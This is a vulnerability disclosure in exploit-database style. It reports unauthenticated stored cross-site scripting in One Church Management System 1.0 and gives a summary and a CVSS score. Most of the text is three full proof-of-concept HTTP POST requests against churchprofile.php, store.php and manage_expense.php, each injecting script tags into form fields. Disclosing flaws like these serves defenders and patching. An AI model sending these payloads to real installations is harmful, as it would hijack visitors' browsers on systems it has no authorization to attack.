One Church Management System 1.0 Cross Site Scripting Vulnerability

# Exploit Title: One Church Management System 1.0 - Multiple Cross-site
Scripting
# Exploit Author: Mr Empy
# Software Link:
https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html
# Version: 1.0
# Tested on: Linux

Title:
================
One Church Management System 1.0 - Multiple Cross-site Scripting


Summary:
================
The One Church Management System is affected by several applications with
the vulnerability of Cross-site Scripting due to the lack of hygiene in
certain parameters. The attacker can take advantage of this flaw to inject
arbitrary javascript code to manipulate the victim's browser capabilities.


Severity Level:
================
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N


Affected Product:
================
One Church Management System v1.0


Steps to Reproduce:
================

* churchprofile.php XSS (unauthenticated) PoC:

POST /one_church/churchprofile.php HTTP/1.1
Host: target.com
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/churchprofile.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

companyname=<XSS HERE>&regno=<XSS HERE>&companyaddress=<XSS
HERE>&companyemail=<XSS HERE>&country=India&mobilenumber=%2B919423979339&
submit=

======================================================================

* store.php XSS (unauthenticated) PoC:

POST /one_church/store.php HTTP/1.1
Host: target.com
Content-Length: 380
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryV1aumPNc5OAr8WJV
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/store.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryV1aumPNc5OAr8WJV
Content-Disposition: form-data; name="itemname"

"><script>alert("XSS")</script>
------WebKitFormBoundaryV1aumPNc5OAr8WJV
Content-Disposition: form-data; name="descrip"

"><script>alert("XSS")</script>
------WebKitFormBoundaryV1aumPNc5OAr8WJV
Content-Disposition: form-data; name="insert"


------WebKitFormBoundaryV1aumPNc5OAr8WJV--

======================================================================

* manage_expense.php XSS (unauthenticated) PoC:

POST /one_church/manage_expense.php HTTP/1.1
Host: target.com
Content-Length: 402
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundary2XF7C8775FV2TQ4y
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/manage_expense.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundary2XF7C8775FV2TQ4y
Content-Disposition: form-data; name="expense_category"

"><script>alert("XSS")</script>
------WebKitFormBoundary2XF7C8775FV2TQ4y
Content-Disposition: form-data; name="detail"

"><script>alert("XSS")</script>
------WebKitFormBoundary2XF7C8775FV2TQ4y
Content-Disposition: form-data; name="submitexpense"


------WebKitFormBoundary2XF7C8775FV2TQ4y--

======================================================================